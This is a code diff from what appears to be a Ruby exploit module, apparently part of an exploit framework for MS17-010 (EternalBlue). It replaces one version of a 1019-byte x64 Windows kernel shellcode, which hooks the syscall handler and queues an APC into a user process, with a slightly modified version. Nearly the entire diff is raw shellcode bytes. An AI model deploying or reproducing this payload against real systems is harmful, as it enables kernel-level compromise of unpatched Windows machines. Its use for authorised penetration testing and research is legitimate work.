@@ -696,75 +696,75 @@ def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp,
696
696
end
697
697
698
698
def make_kernel_shellcode
699
- # https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm
700
- # Name: kernel
699
+ # see: /external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
701
700
# Length: 1019 bytes
702
701
703
702
#"\xcc"+
704
- "\xB9 \x82 \x00 \x00 \xC0 \x0F \x32 \x48 \xBB \xF8 \x0F \xD0 \xFF \xFF \xFF \xFF " +
705
- "\xFF \x89 \x53 \x04 \x89 \x03 \x48 \x8D \x05 \x0A \x00 \x00 \x00 \x48 \x89 \xC2 " +
706
- "\x48 \xC1 \xEA \x20 \x0F \x30 \xC3 \x0F \x01 \xF8 \x65 \x48 \x89 \x24 \x25 \x10 " +
707
- "\x00 \x00 \x00 \x65 \x48 \x8B \x24 \x25 \xA8 \x01 \x00 \x00 \x50 \x53 \x51 \x52 " +
708
- "\x56 \x57 \x55 \x41 \x50 \x41 \x51 \x41 \x52 \x41 \x53 \x41 \x54 \x41 \x55 \x41 " +
709
- "\x56 \x41 \x57 \x6A \x2B \x65 \xFF \x34 \x25 \x10 \x00 \x00 \x00 \x41 \x53 \x6A " +
710
- "\x33 \x51 \x4C \x89 \xD1 \x48 \x83 \xEC \x08 \x55 \x48 \x81 \xEC \x58 \x01 \x00 " +
711
- "\x00 \x48 \x8D \xAC \x24 \x80 \x00 \x00 \x00 \x48 \x89 \x9D \xC0 \x00 \x00 \x00 " +
712
- "\x48 \x89 \xBD \xC8 \x00 \x00 \x00 \x48 \x89 \xB5 \xD0 \x00 \x00 \x00 \x48 \xA1 " +
713
- "\xF8 \x0F \xD0 \xFF \xFF \xFF \xFF \xFF \x48 \x89 \xC2 \x48 \xC1 \xEA \x20 \x48 " +
714
- "\x31 \xDB \xFF \xCB \x48 \x21 \xD8 \xB9 \x82 \x00 \x00 \xC0 \x0F \x30 \xFB \xE8 " +
715
- "\x38 \x00 \x00 \x00 \xFA \x65 \x48 \x8B \x24 \x25 \xA8 \x01 \x00 \x00 \x48 \x83 " +
716
- "\xEC \x78 \x41 \x5F \x41 \x5E \x41 \x5D \x41 \x5C \x41 \x5B \x41 \x5A \x41 \x59 " +
717
- "\x41 \x58 \x5D \x5F \x5E \x5A \x59 \x5B \x58 \x65 \x48 \x8B \x24 \x25 \x10 \x00 " +
718
- "\x00 \x00 \x0F \x01 \xF8 \xFF \x24 \x25 \xF8 \x0F \xD0 \xFF \x56 \x41 \x57 \x41 " +
719
- "\x56 \x41 \x55 \x41 \x54 \x53 \x55 \x48 \x89 \xE5 \x66 \x83 \xE4 \xF0 \x48 \x83 " +
720
- "\xEC \x20 \x4C \x8D \x35 \xE3 \xFF \xFF \xFF \x65 \x4C \x8B \x3C \x25 \x38 \x00 " +
721
- "\x00 \x00 \x4D \x8B \x7F \x04 \x49 \xC1 \xEF \x0C \x49 \xC1 \xE7 \x0C \x49 \x81 " +
722
- "\xEF \x00 \x10 \x00 \x00 \x49 \x8B \x37 \x66 \x81 \xFE \x4D \x5A \x75 \xEF \x41 " +
723
- "\xBB \x5C \x72 \x11 \x62 \xE8 \x18 \x02 \x00 \x00 \x48 \x89 \xC6 \x48 \x81 \xC6 " +
724
- "\x08 \x03 \x00 \x00 \x41 \xBB \x7A \xBA \xA3 \x30 \xE8 \x03 \x02 \x00 \x00 \x48 " +
725
- "\x89 \xF1 \x48 \x39 \xF0 \x77 \x11 \x48 \x8D \x90 \x00 \x05 \x00 \x00 \x48 \x39 " +
726
- "\xF2 \x72 \x05 \x48 \x29 \xC6 \xEB \x08 \x48 \x8B \x36 \x48 \x39 \xCE \x75 \xE2 " +
727
- "\x49 \x89 \xF4 \x31 \xDB \x89 \xD9 \x83 \xC1 \x04 \x81 \xF9 \x00 \x00 \x01 \x00 " +
728
- "\x0F \x8D \x66 \x01 \x00 \x00 \x4C \x89 \xF2 \x89 \xCB \x41 \xBB \x66 \x55 \xA2 " +
729
- "\x4B \xE8 \xBC \x01 \x00 \x00 \x85 \xC0 \x75 \xDB \x49 \x8B \x0E \x41 \xBB \xA3 " +
730
- "\x6F \x72 \x2D \xE8 \xAA \x01 \x00 \x00 \x48 \x89 \xC6 \xE8 \x50 \x01 \x00 \x00 " +
731
- "\x41 \x81 \xF9 \xBF \x77 \x1F \xDD \x75 \xBC \x49 \x8B \x1E \x4D \x8D \x6E \x10 " +
732
- "\x4C \x89 \xEA \x48 \x89 \xD9 \x41 \xBB \xE5 \x24 \x11 \xDC \xE8 \x81 \x01 \x00 " +
733
- "\x00 \x6A \x40 \x68 \x00 \x10 \x00 \x00 \x4D \x8D \x4E \x08 \x49 \xC7 \x01 \x00 " +
734
- "\x10 \x00 \x00 \x4D \x31 \xC0 \x4C \x89 \xF2 \x31 \xC9 \x48 \x89 \x0A \x48 \xF7 " +
735
- "\xD1 \x41 \xBB \x4B \xCA \x0A \xEE \x48 \x83 \xEC \x20 \xE8 \x52 \x01 \x00 \x00 " +
736
- "\x85 \xC0 \x0F \x85 \xC8 \x00 \x00 \x00 \x49 \x8B \x3E \x48 \x8D \x35 \xE9 \x00 " +
737
- "\x00 \x00 \x31 \xC9 \x66 \x03 \x0D \xD7 \x01 \x00 \x00 \x66 \x81 \xC1 \xF9 \x00 " +
738
- "\xF3 \xA4 \x48 \x89 \xDE \x48 \x81 \xC6 \x08 \x03 \x00 \x00 \x48 \x89 \xF1 \x48 " +
739
- "\x8B \x11 \x4C \x29 \xE2 \x51 \x52 \x48 \x89 \xD1 \x48 \x83 \xEC \x20 \x41 \xBB " +
740
- "\x26 \x40 \x36 \x9D \xE8 \x09 \x01 \x00 \x00 \x48 \x83 \xC4 \x20 \x5A \x59 \x48 " +
741
- "\x85 \xC0 \x74 \x18 \x48 \x8B \x80 \xC8 \x02 \x00 \x00 \x48 \x85 \xC0 \x74 \x0C " +
742
- "\x48 \x83 \xC2 \x4C \x8B \x02 \x0F \xBA \xE0 \x05 \x72 \x05 \x48 \x8B \x09 \xEB " +
743
- "\xBE \x48 \x83 \xEA \x4C \x49 \x89 \xD4 \x31 \xD2 \x80 \xC2 \x90 \x31 \xC9 \x41 " +
744
- "\xBB \x26 \xAC \x50 \x91 \xE8 \xC8 \x00 \x00 \x00 \x48 \x89 \xC1 \x4C \x8D \x89 " +
745
- "\x80 \x00 \x00 \x00 \x41 \xC6 \x01 \xC3 \x4C \x89 \xE2 \x49 \x89 \xC4 \x4D \x31 " +
746
- "\xC0 \x41 \x50 \x6A \x01 \x49 \x8B \x06 \x50 \x41 \x50 \x48 \x83 \xEC \x20 \x41 " +
747
- "\xBB \xAC \xCE \x55 \x4B \xE8 \x98 \x00 \x00 \x00 \x31 \xD2 \x52 \x52 \x41 \x58 " +
748
- "\x41 \x59 \x4C \x89 \xE1 \x41 \xBB \x18 \x38 \x09 \x9E \xE8 \x82 \x00 \x00 \x00 " +
749
- "\x4C \x89 \xE9 \x41 \xBB \x22 \xB7 \xB3 \x7D \xE8 \x74 \x00 \x00 \x00 \x48 \x89 " +
750
- "\xD9 \x41 \xBB \x0D \xE2 \x4D \x85 \xE8 \x66 \x00 \x00 \x00 \x48 \x89 \xEC \x5D " +
751
- "\x5B \x41 \x5C \x41 \x5D \x41 \x5E \x41 \x5F \x5E \xC3 \xE9 \xB5 \x00 \x00 \x00 " +
752
- "\x4D \x31 \xC9 \x31 \xC0 \xAC \x41 \xC1 \xC9 \x0D \x3C \x61 \x7C \x02 \x2C \x20 " +
753
- "\x41 \x01 \xC1 \x38 \xE0 \x75 \xEC \xC3 \x31 \xD2 \x65 \x48 \x8B \x52 \x60 \x48 " +
754
- "\x8B \x52 \x18 \x48 \x8B \x52 \x20 \x48 \x8B \x12 \x48 \x8B \x72 \x50 \x48 \x0F " +
755
- "\xB7 \x4A \x4A \x45 \x31 \xC9 \x31 \xC0 \xAC \x3C \x61 \x7C \x02 \x2C \x20 \x41 " +
756
- "\xC1 \xC9 \x0D \x41 \x01 \xC1 \xE2 \xEE \x45 \x39 \xD9 \x75 \xDA \x4C \x8B \x7A " +
757
- "\x20 \xC3 \x4C \x89 \xF8 \x41 \x51 \x41 \x50 \x52 \x51 \x56 \x48 \x89 \xC2 \x8B " +
758
- "\x42 \x3C \x48 \x01 \xD0 \x8B \x80 \x88 \x00 \x00 \x00 \x48 \x01 \xD0 \x50 \x8B " +
759
- "\x48 \x18 \x44 \x8B \x40 \x20 \x49 \x01 \xD0 \x48 \xFF \xC9 \x41 \x8B \x34 \x88 " +
760
- "\x48 \x01 \xD6 \xE8 \x78 \xFF \xFF \xFF \x45 \x39 \xD9 \x75 \xEC \x58 \x44 \x8B " +
761
- "\x40 \x24 \x49 \x01 \xD0 \x66 \x41 \x8B \x0C \x48 \x44 \x8B \x40 \x1C \x49 \x01 " +
762
- "\xD0 \x41 \x8B \x04 \x88 \x48 \x01 \xD0 \x5E \x59 \x5A \x41 \x58 \x41 \x59 \x41 " +
763
- "\x5B \x41 \x53 \xFF \xE0 \x56 \x41 \x57 \x55 \x48 \x89 \xE5 \x48 \x83 \xEC \x20 " +
764
- "\x41 \xBB \xDA \x16 \xAF \x92 \xE8 \x4D \xFF \xFF \xFF \x31 \xC9 \x51 \x51 \x51 " +
765
- "\x51 \x41 \x59 \x4C \x8D \x05 \x1A \x00 \x00 \x00 \x5A \x48 \x83 \xEC \x20 \x41 " +
766
- "\xBB \x46 \x45 \x1B \x22 \xE8 \x68 \xFF \xFF \xFF \x48 \x89 \xEC \x5D \x41 \x5F " +
767
- "\x5E \xC3 "
703
+ "\x31 \xC9 \x41 \xE2 \x01 \xC3 \xB9 \x82 \x00 \x00 \xC0 \x0F \x32 \x48 \xBB \xF8 " +
704
+ "\x0F \xD0 \xFF \xFF \xFF \xFF \xFF \x89 \x53 \x04 \x89 \x03 \x48 \x8D \x05 \x0A " +
705
+ "\x00 \x00 \x00 \x48 \x89 \xC2 \x48 \xC1 \xEA \x20 \x0F \x30 \xC3 \x0F \x01 \xF8 " +
706
+ "\x65 \x48 \x89 \x24 \x25 \x10 \x00 \x00 \x00 \x65 \x48 \x8B \x24 \x25 \xA8 \x01 " +
707
+ "\x00 \x00 \x50 \x53 \x51 \x52 \x56 \x57 \x55 \x41 \x50 \x41 \x51 \x41 \x52 \x41 " +
708
+ "\x53 \x41 \x54 \x41 \x55 \x41 \x56 \x41 \x57 \x6A \x2B \x65 \xFF \x34 \x25 \x10 " +
709
+ "\x00 \x00 \x00 \x41 \x53 \x6A \x33 \x51 \x4C \x89 \xD1 \x48 \x83 \xEC \x08 \x55 " +
710
+ "\x48 \x81 \xEC \x58 \x01 \x00 \x00 \x48 \x8D \xAC \x24 \x80 \x00 \x00 \x00 \x48 " +
711
+ "\x89 \x9D \xC0 \x00 \x00 \x00 \x48 \x89 \xBD \xC8 \x00 \x00 \x00 \x48 \x89 \xB5 " +
712
+ "\xD0 \x00 \x00 \x00 \x48 \xA1 \xF8 \x0F \xD0 \xFF \xFF \xFF \xFF \xFF \x48 \x89 " +
713
+ "\xC2 \x48 \xC1 \xEA \x20 \x48 \x31 \xDB \xFF \xCB \x48 \x21 \xD8 \xB9 \x82 \x00 " +
714
+ "\x00 \xC0 \x0F \x30 \xFB \xE8 \x38 \x00 \x00 \x00 \xFA \x65 \x48 \x8B \x24 \x25 " +
715
+ "\xA8 \x01 \x00 \x00 \x48 \x83 \xEC \x78 \x41 \x5F \x41 \x5E \x41 \x5D \x41 \x5C " +
716
+ "\x41 \x5B \x41 \x5A \x41 \x59 \x41 \x58 \x5D \x5F \x5E \x5A \x59 \x5B \x58 \x65 " +
717
+ "\x48 \x8B \x24 \x25 \x10 \x00 \x00 \x00 \x0F \x01 \xF8 \xFF \x24 \x25 \xF8 \x0F " +
718
+ "\xD0 \xFF \x56 \x41 \x57 \x41 \x56 \x41 \x55 \x41 \x54 \x53 \x55 \x48 \x89 \xE5 " +
719
+ "\x66 \x83 \xE4 \xF0 \x48 \x83 \xEC \x20 \x4C \x8D \x35 \xE3 \xFF \xFF \xFF \x65 " +
720
+ "\x4C \x8B \x3C \x25 \x38 \x00 \x00 \x00 \x4D \x8B \x7F \x04 \x49 \xC1 \xEF \x0C " +
721
+ "\x49 \xC1 \xE7 \x0C \x49 \x81 \xEF \x00 \x10 \x00 \x00 \x49 \x8B \x37 \x66 \x81 " +
722
+ "\xFE \x4D \x5A \x75 \xEF \x41 \xBB \x5C \x72 \x11 \x62 \xE8 \x18 \x02 \x00 \x00 " +
723
+ "\x48 \x89 \xC6 \x48 \x81 \xC6 \x08 \x03 \x00 \x00 \x41 \xBB \x7A \xBA \xA3 \x30 " +
724
+ "\xE8 \x03 \x02 \x00 \x00 \x48 \x89 \xF1 \x48 \x39 \xF0 \x77 \x11 \x48 \x8D \x90 " +
725
+ "\x00 \x05 \x00 \x00 \x48 \x39 \xF2 \x72 \x05 \x48 \x29 \xC6 \xEB \x08 \x48 \x8B " +
726
+ "\x36 \x48 \x39 \xCE \x75 \xE2 \x49 \x89 \xF4 \x31 \xDB \x89 \xD9 \x83 \xC1 \x04 " +
727
+ "\x81 \xF9 \x00 \x00 \x01 \x00 \x0F \x8D \x66 \x01 \x00 \x00 \x4C \x89 \xF2 \x89 " +
728
+ "\xCB \x41 \xBB \x66 \x55 \xA2 \x4B \xE8 \xBC \x01 \x00 \x00 \x85 \xC0 \x75 \xDB " +
729
+ "\x49 \x8B \x0E \x41 \xBB \xA3 \x6F \x72 \x2D \xE8 \xAA \x01 \x00 \x00 \x48 \x89 " +
730
+ "\xC6 \xE8 \x50 \x01 \x00 \x00 \x41 \x81 \xF9 \xBF \x77 \x1F \xDD \x75 \xBC \x49 " +
731
+ "\x8B \x1E \x4D \x8D \x6E \x10 \x4C \x89 \xEA \x48 \x89 \xD9 \x41 \xBB \xE5 \x24 " +
732
+ "\x11 \xDC \xE8 \x81 \x01 \x00 \x00 \x6A \x40 \x68 \x00 \x10 \x00 \x00 \x4D \x8D " +
733
+ "\x4E \x08 \x49 \xC7 \x01 \x00 \x10 \x00 \x00 \x4D \x31 \xC0 \x4C \x89 \xF2 \x31 " +
734
+ "\xC9 \x48 \x89 \x0A \x48 \xF7 \xD1 \x41 \xBB \x4B \xCA \x0A \xEE \x48 \x83 \xEC " +
735
+ "\x20 \xE8 \x52 \x01 \x00 \x00 \x85 \xC0 \x0F \x85 \xC8 \x00 \x00 \x00 \x49 \x8B " +
736
+ "\x3E \x48 \x8D \x35 \xE9 \x00 \x00 \x00 \x31 \xC9 \x66 \x03 \x0D \xD7 \x01 \x00 " +
737
+ "\x00 \x66 \x81 \xC1 \xF9 \x00 \xF3 \xA4 \x48 \x89 \xDE \x48 \x81 \xC6 \x08 \x03 " +
738
+ "\x00 \x00 \x48 \x89 \xF1 \x48 \x8B \x11 \x4C \x29 \xE2 \x51 \x52 \x48 \x89 \xD1 " +
739
+ "\x48 \x83 \xEC \x20 \x41 \xBB \x26 \x40 \x36 \x9D \xE8 \x09 \x01 \x00 \x00 \x48 " +
740
+ "\x83 \xC4 \x20 \x5A \x59 \x48 \x85 \xC0 \x74 \x18 \x48 \x8B \x80 \xC8 \x02 \x00 " +
741
+ "\x00 \x48 \x85 \xC0 \x74 \x0C \x48 \x83 \xC2 \x4C \x8B \x02 \x0F \xBA \xE0 \x05 " +
742
+ "\x72 \x05 \x48 \x8B \x09 \xEB \xBE \x48 \x83 \xEA \x4C \x49 \x89 \xD4 \x31 \xD2 " +
743
+ "\x80 \xC2 \x90 \x31 \xC9 \x41 \xBB \x26 \xAC \x50 \x91 \xE8 \xC8 \x00 \x00 \x00 " +
744
+ "\x48 \x89 \xC1 \x4C \x8D \x89 \x80 \x00 \x00 \x00 \x41 \xC6 \x01 \xC3 \x4C \x89 " +
745
+ "\xE2 \x49 \x89 \xC4 \x4D \x31 \xC0 \x41 \x50 \x6A \x01 \x49 \x8B \x06 \x50 \x41 " +
746
+ "\x50 \x48 \x83 \xEC \x20 \x41 \xBB \xAC \xCE \x55 \x4B \xE8 \x98 \x00 \x00 \x00 " +
747
+ "\x31 \xD2 \x52 \x52 \x41 \x58 \x41 \x59 \x4C \x89 \xE1 \x41 \xBB \x18 \x38 \x09 " +
748
+ "\x9E \xE8 \x82 \x00 \x00 \x00 \x4C \x89 \xE9 \x41 \xBB \x22 \xB7 \xB3 \x7D \xE8 " +
749
+ "\x74 \x00 \x00 \x00 \x48 \x89 \xD9 \x41 \xBB \x0D \xE2 \x4D \x85 \xE8 \x66 \x00 " +
750
+ "\x00 \x00 \x48 \x89 \xEC \x5D \x5B \x41 \x5C \x41 \x5D \x41 \x5E \x41 \x5F \x5E " +
751
+ "\xC3 \xE9 \xB5 \x00 \x00 \x00 \x4D \x31 \xC9 \x31 \xC0 \xAC \x41 \xC1 \xC9 \x0D " +
752
+ "\x3C \x61 \x7C \x02 \x2C \x20 \x41 \x01 \xC1 \x38 \xE0 \x75 \xEC \xC3 \x31 \xD2 " +
753
+ "\x65 \x48 \x8B \x52 \x60 \x48 \x8B \x52 \x18 \x48 \x8B \x52 \x20 \x48 \x8B \x12 " +
754
+ "\x48 \x8B \x72 \x50 \x48 \x0F \xB7 \x4A \x4A \x45 \x31 \xC9 \x31 \xC0 \xAC \x3C " +
755
+ "\x61 \x7C \x02 \x2C \x20 \x41 \xC1 \xC9 \x0D \x41 \x01 \xC1 \xE2 \xEE \x45 \x39 " +
756
+ "\xD9 \x75 \xDA \x4C \x8B \x7A \x20 \xC3 \x4C \x89 \xF8 \x41 \x51 \x41 \x50 \x52 " +
757
+ "\x51 \x56 \x48 \x89 \xC2 \x8B \x42 \x3C \x48 \x01 \xD0 \x8B \x80 \x88 \x00 \x00 " +
758
+ "\x00 \x48 \x01 \xD0 \x50 \x8B \x48 \x18 \x44 \x8B \x40 \x20 \x49 \x01 \xD0 \x48 " +
759
+ "\xFF \xC9 \x41 \x8B \x34 \x88 \x48 \x01 \xD6 \xE8 \x78 \xFF \xFF \xFF \x45 \x39 " +
760
+ "\xD9 \x75 \xEC \x58 \x44 \x8B \x40 \x24 \x49 \x01 \xD0 \x66 \x41 \x8B \x0C \x48 " +
761
+ "\x44 \x8B \x40 \x1C \x49 \x01 \xD0 \x41 \x8B \x04 \x88 \x48 \x01 \xD0 \x5E \x59 " +
762
+ "\x5A \x41 \x58 \x41 \x59 \x41 \x5B \x41 \x53 \xFF \xE0 \x56 \x41 \x57 \x55 \x48 " +
763
+ "\x89 \xE5 \x48 \x83 \xEC \x20 \x41 \xBB \xDA \x16 \xAF \x92 \xE8 \x4D \xFF \xFF " +
764
+ "\xFF \x31 \xC9 \x51 \x51 \x51 \x51 \x41 \x59 \x4C \x8D \x05 \x1A \x00 \x00 \x00 " +
765
+ "\x5A \x48 \x83 \xEC \x20 \x41 \xBB \x46 \x45 \x1B \x22 \xE8 \x68 \xFF \xFF \xFF " +
766
+ "\x48 \x89 \xEC \x5D \x41 \x5F \x5E \xC3 " #\x01\x00\xC3"
767
+
768
768
end
769
769
770
770
end
0 commit comments